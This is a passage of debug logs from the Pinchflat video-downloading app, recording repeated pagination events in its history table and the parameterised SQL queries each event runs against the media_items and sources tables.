short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 30] 22:04:07.454 [debug] QUERY OK source="sources" db=0.2ms idle=576.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 22:04:07.454 [debug] Replied in 2ms 22:04:07.871 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:04:07.871 [debug] QUERY OK source="media_items" db=0.3ms idle=992.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:07.872 [debug] QUERY OK source="media_items" db=0.5ms idle=822.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 35] 22:04:07.872 [debug] QUERY OK source="sources" db=0.1ms idle=419.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 22:04:07.872 [debug] Replied in 1ms 22:04:08.280 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:04:08.281 [debug] QUERY OK source="media_items" db=0.2ms idle=825.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:08.281 [debug] QUERY OK source="media_items" db=0.2ms idle=409.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 40] 22:04:08.281 [debug] QUERY OK source="sources" db=0.0ms idle=409.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 2] 22:04:08.281 [debug] Replied in 1ms 22:04:08.775 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:04:08.776 [debug] QUERY OK source="media_items" db=0.6ms idle=903.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:08.778 [debug] QUERY OK source="media_items" db=1.1ms idle=726.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 45] 22:04:08.779 [debug] QUERY OK source="sources" db=0.2ms idle=497.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:04:08.779 [debug] Replied in 3ms 22:04:13.358 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 22:04:13.359 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1297.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:13.360 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1299.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 40] 22:04:13.361 [debug] QUERY OK source="sources" db=0.3ms idle=1300.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 2] 22:04:13.362 [debug] Replied in 4ms 22:04:14.914 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 22:04:14.915 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1853.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:14.917 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1556.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 35] 22:04:14.918 [debug] QUERY OK source="sources" db=0.2ms idle=1557.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 22:04:14.918 [debug] Replied in 4ms 22:04:15.393 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 22:04:15.394 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=478.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:15.396 [debug] QUERY OK source="media_items" db=1.0ms idle=477.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 30] 22:04:15.397 [debug] QUERY OK source="sources" db=0.2ms idle=478.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 22:04:15.397 [debug] Replied in 3ms 22:04:15.588 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 22:04:15.589 [debug] QUERY OK source="media_items" db=0.4ms idle=528.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:15.590 [debug] QUERY OK source="media_items" db=0.8ms idle=523.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 25] 22:04:15.591 [debug] QUERY OK source="sources" db=0.2ms idle=196.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 22:04:15.591 [debug] Replied in 2ms 22:04:15.796 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 22:04:15.797 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=400.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:15.799 [debug] QUERY OK source="media_items" db=1.1ms idle=401.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", 